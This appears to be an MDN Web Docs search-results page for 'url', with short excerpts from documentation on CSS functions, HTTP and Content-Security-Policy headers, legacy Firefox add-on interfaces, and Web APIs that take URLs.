...to/font.woff) format("woff"),
url(path/to/font.otf) format("opentype"); values <
url> [ format( <string># ) ]?
... specifies an external reference consisting of a <
url>, followed by an optional hint using the format() function to describe the format of the font resource referenced by that
url.
...And 4 more matches
cross-fade() - CSS: Cascading Style Sheets
cross-fade(
url(white.png) 0%,
url(black.png) 100%); /* fully black */ cross-fade(
url(white.png) 25%,
url(black.png) 75%); /* 25% white, 75% black */ cross-fade(
url(white.png) 50%,
url(black.png) 50%); /* 50% white, 50% black */ cross-fade(
url(white.png) 75%,
url(black.png) 25%); /* 75% white, 25% black */ cross-fade(
url(white.png) 100%,
url(black.png) 0%); /* fully white */ cross-fade(
url(green.png) 75%, u...
... the above could also have been written as: cross-fade(
url(white.png) 0%,
url(black.png)); /* fully black */ cross-fade(
url(white.png) 25%,
url(black.png)); /* 25% white, 75% black */ cross-fade(
url(white.png),
url(black.png)); /* 50% white, 50% black */ cross-fade(
url(white.png) 75%,
url(black.png)); /* 75% white, 25% black */ cross-fade(
url(white.png) 100%,
url(black.png)); /* fully white */ cross-fade(
url(green.png) 75%,
url(red.png) 75%...
...the two following are lines (almost) identical: cross-fade(
url(red.png),
url(yellow.png),
url(blue.png)); /* all three will be 33.3333% opaque */ cross-fade(
url(red.png) 33.33%,
url(yellow.png) 33.33%,
url(blue.png) 33.33%); older, implemented syntax cross-fade( <image, <image>, <percentage> ) the specification for the cross-fade() function allows for multiple images and for each image to have transparency values independent of the other values.
...And 4 more matches
image() - CSS: Cascading Style Sheets
the image() css function defines an <image> in a similar fashion to the <
url> function, but with added functionality including specifying the image's directionality, specifying fallback images for when the preferred image is not supported, displaying just a part of that image defined by a media fragment, and specifying a solid color as a fallback in case none of the specified images are able to be rendered.
...)where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... image-src optional zero or more <
url>s or <string>s specifying the image sources, with optional image fragment identifiers.
...And 4 more matches
Identifying resources on the Web - HTTP
the identity and the location of resources on the web are mostly given by a single
url (uniform resource locator, a kind of uri).
...
urls and urns
urls the most common form of uri is the uniform resource locator (
url), which is known as the web address.
... https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=
url any of those
urls can be typed into your browser's address bar to tell it to load the associated page (resource).
...And 4 more matches
Content-Location - HTTP
the principal use is to indicate the
url of a resource transmitted as the result of content negotiation.
...location indicates the
url of a redirect, while content-location indicates the direct
url to use to access the resource, without further content negotiation in the future.
... header type entity header forbidden header name no syntax content-location: <
url> directives <
url> a relative (to the request
url) or absolute
url.
...And 4 more matches
CSP: connect-src - HTTP
the http content-security-policy (csp) connect-src directive restricts the
urls which can be loaded using script interfaces.
... syntax one or more sources can be allowed for the connect-src policy: content-security-policy: connect-src <source>; content-security-policy: connect-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
...And 4 more matches
CSP: font-src - HTTP
syntax one or more sources can be allowed for the font-src policy: content-security-policy: font-src <source>; content-security-policy: font-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 4 more matches
CSP: form-action - HTTP
the http content-security-policy (csp) form-action directive restricts the
urls which can be used as the target of a form submissions from a given context.
... syntax one or more sources can be set for the form-action policy: content-security-policy: form-action <source>; content-security-policy: form-action <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
...And 4 more matches
CSP: navigate-to - HTTP
the http content-security-policy (csp) navigate-to directive restricts the
urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... syntax one or more sources can be set for the navigate-to policy: content-security-policy: navigate-to <source>; content-security-policy: navigate-to <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
...And 4 more matches
CSP: prefetch-src - HTTP
syntax one or more sources can be allowed for the prefetch-src policy: content-security-policy: prefetch-src <source>; content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 4 more matches
CSP: script-src-attr - HTTP
this includes only inline script event handlers like onclick, but not
urls loaded directly into <script> elements.
...content-security-policy: script-src-attr <source>; content-security-policy: script-src-attr <source> <source>; script-src-attr can be used in conjunction with script-src: content-security-policy: script-src <source>; content-security-policy: script-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
...And 4 more matches
CSP: script-src - HTTP
this includes not only
urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution.
... syntax one or more sources can be allowed for the script-src policy: content-security-policy: script-src <source>; content-security-policy: script-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
...And 4 more matches
CSP: style-src - HTTP
syntax one or more sources can be allowed for the style-src policy: content-security-policy: style-src <source>; content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional
url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http:
url scheme.
... 'self' refers to the origin from which the protected document is being served, including the same
url scheme and port number.
...And 4 more matches
Content-Security-Policy - HTTP
connect-src restricts the
urls which can be loaded using script interfaces default-src serves as a fallback for the other fetch directives.
... base-uri restricts the
urls which can be used in a document's <base> element.
... form-action restricts the
urls which can be used as the target of a form submissions from a given context.
...And 4 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
stop2" offset="50%"/> <stop class="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="0%" stop-color="red"/> <stop offset="50%" stop-color="black" stop-opacity="0"/> <stop offset="100%" stop-color="blue"/> </lineargradient> <style type="text/css"><![cdata[ #rect1 { fill:
url(#gradient1); } .stop1 { stop-color: red; } .stop2 { stop-color: black; stop-opacity: 0; } .stop3 { stop-color: blue; } ]]></style> </defs> <rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100"/> <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="
url(#gradient2)"/> </svg> screenshotlive sample above is an example of a linea...
...this is done the same way you reference elements in css, using a
url.
... in this case, the
url is just a reference to our gradient, which i've given the creative id, "gradient".
...And 4 more matches
loader/sandbox - Archive of obsolete content
the argument may be: a
url string, in which case the sandbox will get the same privileges as a script loaded from that
url a dom window object, to inherit privileges from the window being passed.
... load scripts this module provides a limited api for loading scripts from local
urls.
... data:
urls are supported.
...And 3 more matches
places/favicon - Archive of obsolete content
globals functions getfavicon(object, callback) takes an object that represents a page's
url and returns a promise that resolves with the favicon
url for that page.
... the object can be a
url string or a tab.
... the platform service (moziasyncfavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon
urls for visited sites.
...And 3 more matches
Creating annotations - Archive of obsolete content
the show message contains: the
url for the page, the id attribute value, and the text content of the page element.
... updating main.js go back to main.js and add the code to create the selector into the main function: var selector = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.
url('jquery-1.4.2.min.js'), data.
url('selector.js')], onattach: function(worker) { worker.postmessage(annotatorison); selectors.push(worker); worker.port.on('show', function(data) { console.log(data); }); worker.on('detach', function () { detachworker(this, selectors); }); } }); make sure the name you use to load jquery matches the name o...
...index != -1) { workerarray.splice(index, 1); } } edit toggleactivation() to notify the workers of a change in activation state: function activateselectors() { selectors.foreach( function (selector) { selector.postmessage(annotatorison); }); } function toggleactivation() { annotatorison = !annotatorison; activateselectors(); return annotatorison; } we'll be using this
url in all our screenshots.
...And 3 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image:
url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.
...gtk icons are accessed using special
urls, like this one: moz-icon://stock/gtk-go-back?size=menu.
... you can enter this
url in firefox on linux, and the corresponding icon will be displayed.
...And 3 more matches
Creating a Microsummary - Archive of obsolete content
for example, if you use php scripts to generate pages on your site, you could write php code to output a microsummary when the view=microsummary
url parameter is present.
... then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the
url in the href attribute.
... if the
url points to a generator, it uses the generator to generate the microsummary for the page.
...And 3 more matches
jspage - Archive of obsolete content
tion(f){var e;for(var d=0,c=1;1;d+=c,c/=2){if(f>=(7-4*d)/11){e=c*c-math.pow((11-6*d-11*f)/4,2); break;}}return e;},elastic:function(b,a){return math.pow(2,10*--b)*math.cos(20*b*math.pi*(a[0]||1)/3);}});["quad","cubic","quart","quint"].each(function(b,a){fx.transitions[b]=new fx.transition(function(c){return math.pow(c,[a+2]); });});var request=new class({implements:[chain,events,options],options:{
url:"",data:"",headers:{"x-requested-with":"xmlhttprequest",accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",issuccess:null,emulation:true,
urlencoded:true,encoding:"utf-8",evalscripts:false,evalresponse:false,nocache:false},initialize:function(a){this.xhr=new browser.request(); this.setoptions(a);this.options.issuccess=this.optio...
...esponseheader(a);}.bind(this));},check:function(){if(!this.running){return true; }switch(this.options.link){case"cancel":this.cancel();return true;case"chain":this.chain(this.caller.bind(this,arguments));return false;}return false;},send:function(k){if(!this.check(k)){return this; }this.running=true;var i=$type(k);if(i=="string"||i=="element"){k={data:k};}var d=this.options;k=$extend({data:d.data,
url:d.
url,method:d.method},k);var g=k.data,b=string(k.
url),a=k.method.tolowercase(); switch($type(g)){case"element":g=document.id(g).toquerystring();break;case"object":case"hash":g=hash.toquerystring(g);}if(this.options.format){var j="format="+this.options.format; g=(g)?j+"&"+g:j;}if(this.options.emulation&&!["get","post"].contains(a)){var h="_method="+a;g=(g)?h+"&"+g:h;a="post";}if(this.options.
urle...
...ncoded&&a=="post"){var c=(this.options.encoding)?"; charset="+this.options.encoding:""; this.headers.set("content-type","application/x-www-form-
urlencoded"+c);}if(this.options.nocache){var f="nocache="+new date().gettime();g=(g)?f+"&"+g:f; }var e=b.lastindexof("/");if(e>-1&&(e=b.indexof("#"))>-1){b=b.substr(0,e);}if(g&&a=="get"){b=b+(b.contains("?")?"&":"?")+g;g=null;}this.xhr.open(a.touppercase(),b,this.options.async); this.xhr.onreadystatechange=this.onstatechange.bind(this);this.headers.each(function(m,l){try{this.xhr.setrequestheader(l,m);}catch(n){this.fireevent("exception",[l,m]); }},this);this.fireevent("request");this.xhr.send(g);if(!this.options.async){this.onstatechange();}return this;},cancel:function(){if(!this.running){return this; }this.running=false;this.xhr.abort();this.xhr.on...
...And 3 more matches
Proxy UI - Archive of obsolete content
for example, firefox 3: [ ] no proxy [ ] auto-detect proxy settings for this network [ ] manual proxy configuration: [ ] automatic proxy configuration
url: behavior default value: "no proxy" is selected all other "type" radio buttons are enabled, but not selected.
...proxy autoconfiguration has a
url field and a reload button.
...(wpad) network.proxy.type=4 manual proxy configuration (manual) network.proxy.type=1 automatic proxy configuration
url (pac) network.proxy.type=2 manual manual allows the entry of a proxy server hostname name and server.
...And 3 more matches
Venkman Internals - Archive of obsolete content
there is one scriptmanager per
url (web page).
... to obtain the antecedent files: doc.getelementsbytagname("script"); then extract the
urls from the src attributes.
... scriptinstance all scriptwrappers are parented by a single scriptinstance, which holds all of the scriptwrappers for a particular
url.
...And 3 more matches
Binding Attachment and Detachment - Archive of obsolete content
-moz-binding value: none | [,]* <uri> | inherit initial value: none applies to: all elements (not generated content or pseudo-elements) inherited: no percentages: n/a the value of the -moz-binding property is a set of
urls that identify specific bindings.
... an individual
url in the set consists of the binding document's
url and the binding's document-unique identifier.
... input[type="checkbox"] { -moz-binding:
url("http://www.mozilla.org/xbl/htmlbindings.xml#checkbox"); } bindings attached through css will only remain on the bound element as long as the element continues to match the style rule.
...And 3 more matches
Introduction - Archive of obsolete content
for example, for an xml datasource, the
url of an xml file is specified.
...the datasource is loaded via its
url.
... some rdf datasources are provided with mozilla -- their
url's start with 'rdf:'.
...And 3 more matches
Simple Example - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://p
url.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> ...
... <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by
urls.
... the resource uris correspond to their actual
urls although this isn't necessary.
...And 3 more matches
Application Update - Archive of obsolete content
pref("app.update.silent", false); // update service
url: // you do not need to use all the %var% parameters.
... use what you need, %product%,%version%,%build_id%,%channel% for example pref("app.update.
url", "https://yourserver.net/update/3/%product%/%version%/%build_id%/%build_target%/%locale%/%channel%/%os_version%/%distribution%/%distribution_version%/update.xml"); //
url user can browse to manually if for some reason all update installation // attempts fail.
... pref("app.update.
url.manual", "http://yourserver.net/yourpage"); // a default value for the "more information about this update" link // supplied in the "an update is available" page of the update wizard.
...And 3 more matches
XForms Custom Controls - Archive of obsolete content
since firefox 4, xbl and xul are disabled by default for all pages not loaded from a chrome://
url.
... this also includes content loaded from file://
urls.
...xf|select1[appearance="compact"] { -moz-binding:
url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains.
...And 3 more matches
What are hyperlinks? - Learn web development
back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands:
url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their
urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them.
...being human-readable,
urls already made things easier, but it's hard to type a long
url whenever you want to access a document.
...links can correlate any text string with a
url, such that the user can instantly reach the target document by activating the link.
...And 3 more matches
Images in HTML - Learn web development
the src attribute contains a path pointing to the image you want to embed in the page, which can be a relative or absolute
url, in the same way as href attribute values in <a> elements.
... note: you should read a quick primer on
urls and paths to refresh your memory on relative and absolute
urls before continuing.
... you could embed the image using its absolute
url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address from the dns server all over again, etc.
...And 3 more matches
Choosing the right approach - Learn web development
single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(
url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get',
url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let object
url =
url.createobject
url(blob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob'...
...ation repeating operation multiple sequential operations multiple simultaneous operations no no yes see promise.all(), below code example the following code fetches an image from the server and displays it inside an <img> element; see it live also, and see also the source code: fetch('coffee.jpg') .then(response => response.blob()) .then(myblob => { let object
url =
url.createobject
url(myblob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); pitfalls promise chains can be complex and hard to parse.
...single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no no no yes code example the following example fetches several resources from the server, and uses promise.all() to wait for all of them to be available before then displaying all of them — see it live, and see the source code: function fetchanddecode(
url, type) { // returning the top level promise, so the result of the entire chain is returned out of the function return fetch(
url).then(response => { // depending on what type of file is being fetched, use the relevant function to decode its contents if(type === 'blob') { return response.blob(); } else if(type === 'text') { return response.text(); } }) .catch(e =...
...And 3 more matches
Introducing asynchronous JavaScript - Learn web development
let's look at another example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(
url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get',
url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let object
url =
url.createobject
url(blob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob'...
..., displayimage); here we create a displayimage() function that simply represents a blob passed to it as an object
url, then creates an image to display the
url in, appending it to the document's <body>.
... however, we then create a loadasset() function that takes a callback as a parameter, along with a
url to fetch and a content type.
...And 3 more matches
Setting up your own test automation environment - Learn web development
there are other ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open this web page", "move over this element on the page", "click this link", "see whether the link opens this
url", etc.
... you can use any
url to point to your resource, including a file://
url to test a local document: driver.get('file:///users/chrismills/git/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html'); or driver.get('http://localhost:8888/fake-div-buttons.html'); but it is better to use a remote server location so the code is more flexible — when you start using a remote server to run ...
...reate a new file called lambdatest_google_test.js give it the following contents: const webdriver = require('selenium-webdriver'); by = webdriver.by, until = webdriver.until; // username: username can be found at automation dashboard const username = '{username}'; // accesskey: accesskey can be generated from automation dashboard or profile section const key = '{accesskey}'; // grid
url: grid
url can be found at automation dashboard const grid_host = 'hub.lambdatest.com/wd/hub'; function searchtextongoogle() { // setup input capabilities const capabilities = { platform: 'windows 10', browsername: 'chrome', version: '67.0', resolution: '1280x800', network: true, visual: true, console: true, video: true, name: 'tes...
...And 3 more matches
Deploying our app - Learn web development
actually deploying the updated code to a live
url: or potentially a staging
url so it can be reviewed first.
...netlify gives us hosting or more specifically, a
url to view your project online and to share it with your friends, family, and colleagues.
... you should now have a "remote"
url that points to your new github repo.
...And 3 more matches
Firefox and the "about" protocol
there is a lot of useful information about firefox hidden away behind the about:
url protocol.
... the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed.
... available about:
urls depend on your specific firefox version.
...And 3 more matches
Webapps.jsm
_savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifest
url, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersystemmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createactivitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _registeractivitiesforapps: function(aappstoreg...
...egisterupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifest
url, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifest
url, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata...
...unction doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancelled: function(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, anewapp, alocalemanifest, amanifest, aid, alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifest
url: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _comput...
...And 3 more matches
Feed content access API
loading the feed and sending it to the parser is done using code similar to this: fetch: function(feed
url) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feed
url, null, null); if (data.length) { var parser = components.classes["@...
... .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feed
url, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
... however, you could also parse it from a file using parsefromstream(), or directly from an
url using parseasync().
...And 3 more matches
Using the Places tagging service
initiating the tagging service before using the tagging service, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); tagging a uri the nsitaggingservice.taguri() method tags a
url with the given set of tags.
... current tags set for the
url persist, and tags which are already set for the given
url are ignored.
... untagging a uri nsitaggingservice.untaguri() removes tags from a
url.
...And 3 more matches
nsIBrowserSearchService
method overview void addengine(in astring engine
url, in long datatype, in astring icon
url, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetails(in astring name, in astring icon
url, in astring alias, in astring description, in astring method, in astring
url); void getdefaultengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearche...
...void addengine( in astring engine
url, in long datatype, in astring icon
url, in boolean confirm, [optional] in nsisearchinstallcallback callback ); parameters engine
url the
url to the search engine's description file.
... icon
url a
url string to an icon file to be used as the search engine's icon.
...And 3 more matches
nsIErrorService
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xpcom/error-service;1 method overview string geterrorstringbundle(in short errormodule); string geterrorstringbundlekey(in nsresult error); void registererrorstringbundle(in short errormodule, in string stringbundle
url); void registererrorstringbundlekey(in nsresult error, in string stringbundlekey); void unregistererrorstringbundle(in short errormodule); void unregistererrorstringbundlekey(in nsresult error); methods geterrorstringbundle() retrieves a string bundle
url for an error module.
... return value the
url of the string bundle registered for that module.
...registererrorstringbundle() registers a string bundle
url for an error module.
...And 3 more matches
nsINavBookmarksService
getitemtype(in long long aitemid); astring getkeywordforbookmark(in long long aitemid); obsolete since gecko 40.0 astring getkeywordforuri(in nsiuri auri); obsolete since gecko 40.0 nsitransaction getremovefoldertransaction(in long long aitemid); nsiuri geturiforkeyword(in astring keyword); obsolete since gecko 40.0 void importbookmarkshtml(in nsiuri
url); obsolete since gecko 1.9 void importbookmarkshtmltofolder(in nsiuri
url, in print64 folder); obsolete since gecko 1.9 print32 indexoffolder(in print64 parent, in print64 folder); obsolete since gecko 1.9 print32 indexofitem(in print64 folder, in nsiuri uri); obsolete since gecko 1.9 long long insertbookmark(in long long aparentid, in nsiuri auri, in long aind...
... get the
url for a bookmark folder.
... void importbookmarkshtml( in nsiuri
url ); parameters
url the
url of the bookmarks.html file to be merged.
...And 3 more matches
nsIScriptError
sourcename astring the
url of the file in which the error occurred.
... this will be a hyperlink in the javascript console, so you should use a real
url.
... sourcename the
url of the file in which the error occurred.
...And 3 more matches
nsITransferable
kfilemime application/x-moz-file an arbitrary file (is this an nsifile?) k
urlmime text/x-moz-
url a mozilla
url object; this is a text string containing the
url, a newline (\n), then the title of the page.
... k
urldatamime text/x-moz-
url-data a string containing only a
url.
... k
urldescriptionmime text/x-moz-
url-desc a string containing only a description.
...And 3 more matches
Browser Side Plug-in API - Plugins
npn_get
url asks the browser to create a stream for the specified
url.
... npn_get
urlnotify requests creation of a new stream with the contents of the specified
url; gets notification of the result.
... npn_getvaluefor
url provides information to a plug-in which is associated with a given
url, for example the cookies or preferred proxy.
...And 3 more matches
Debugger.Script - Firefox Developer Tools
code appearing in a javascript:
url.
...
url if the instance refers to a jsscript, the filename or
url from which this script’s code was loaded.
... for scripts created by eval or the function constructor, this may be a synthesized filename, starting with a valid
url and followed by information tracking how the code was introduced into the system; the entire string is not a valid
url.
...And 3 more matches
Using the Beacon API - Web APIs
the method takes two arguments: the
url and the data to send.
...the handler calls sendbeacon() with the current
url.
... window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var
url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(
url, data); // log the data and result console.log("sendbeacon:
url = ",
url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the handler calls sendbeacon().
...And 3 more matches
Using the CSS Typed Object Model - Web APIs
ke a look at that their types are by employing short javascript snippets outputting to console.log(): :root { --maincolor: hsl(198, 43%, 42%); --black: hsl(0, 0%, 16%); --white: hsl(0,0%,97%); --unit: 1.2rem; } button { --maincolor: hsl(198, 100%, 66%); display: inline-block; padding: var(--unit) calc(var(--unit)*2); width: calc(30% + 20px); background: no-repeat 5% center
url(https://mdn.mozillademos.org/files/16793/magicwand.png) var(--maincolor); border: 4px solid var(--maincolor); border-radius: 2px; font-size: calc(var(--unit)*2); color: var(--white); cursor: pointer; transform: scale(0.95); } let's add the class to a button (a button which does nothing).
...tvalue {value: 0.95, unit: "number"} console.log( transform[0].y ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].z ); // cssunitvalue {value: 1, unit: "number"} console.log( transform.is2d ); // true // cssimagevalue let bgimage = allcomputedstyles.get('background-image'); console.log( bgimage ); // cssimagevalue console.log( bgimage.tostring() ); //
url("https://mdn.mozillademos.org/files/16793/magicwand.png") // cssunparsedvalue let unit = allcomputedstyles.get('--unit'); console.log( unit ) // let parsedunit = cssnumericvalue.parse( unit ); console.log( parsedunit ); console.log( parsedunit.unit ); console.log( parsedunit.value ); for this example to work, the example must be closed out here.
... let bgimage = allcomputedstyles.get('background-image'); console.log( bgimage ); // cssimagevalue console.log( bgimage.tostring() ); //
url("https://mdn.mozillademos.org/files/16793/magicwand.png") when we get() the 'background-image', a cssimagevalue is returned.
...And 3 more matches
Cache - Web APIs
cache.add(request) takes a
url, retrieves it and adds the resulting response object to the given cache.
... cache.addall(requests) takes an array of
urls, retrieves them, and adds the resulting response objects to the given cache.
... console.log('deleting out of date cache:', cachename); return caches.delete(cachename); } }) ); }) ); }); self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.open(current_caches.font).then(function(cache) { return cache.match(event.request).then(function(response) { if (response) { // if there is an entry in the cache for event.request, then response will be defined // and we can just return it.
...And 3 more matches
Using images - Web APIs
it is also possible to use images by providing a
url.
... embedding an image via data:
url another possible way to include images is via the data:
url.
... data
urls allow you to completely define an image as a base64 encoded string of characters directly in your code.
...And 3 more matches
Content Index API - Web APIs
the content index api is an extension to service workers, which allows developers to add
urls and metadata of already cached pages, under the scope of the current service worker.
... the api supports indexing
urls corresponding to html documents.
... a
url for a cached media file, for example, can't be indexed directly.
...And 3 more matches
FileSystemEntry - Web APIs
the filesystementry interface includes methods that you would expect for manipulating files and directories, but it also includes a convenient method for obtaining the
url of the entry: to
url().
... it also introduces a new
url scheme: filesystem:.
... example to see an example of how to
url() works, see the method description.
...And 3 more matches
HTMLImageElement.srcset - Web APIs
each image candidate string contains an image
url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property.
... each image candidate string must begin with a valid
url referencing a non-interactive graphic resource.
...space characters, other than the whitespace separating the
url and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma.
...And 3 more matches
HashChangeEvent - Web APIs
the hashchangeevent interface represents events that fire when the fragment identifier of the
url has changed.
... the fragment identifier is the part of the
url that follows (and includes) the # symbol.
... hashchangeevent.new
url read only the new
url to which the window is navigating.
...And 3 more matches
LocalFileSystem - Web APIs
window.requestfilesystem(window.persistent, 1024*1024,oninitfs,errorhandler); method overview void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystem
url (in domstring
url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion.
... resolvelocalfilesystem
url() lets you look up the entry for a file or directory with a local
url.
... void resolvelocalfilesystem
url( in domstring
url, in entrycallback successcallback, in optional errorcallback errorcallback ); parameters
url the
url of a local file in the file system.
...And 3 more matches
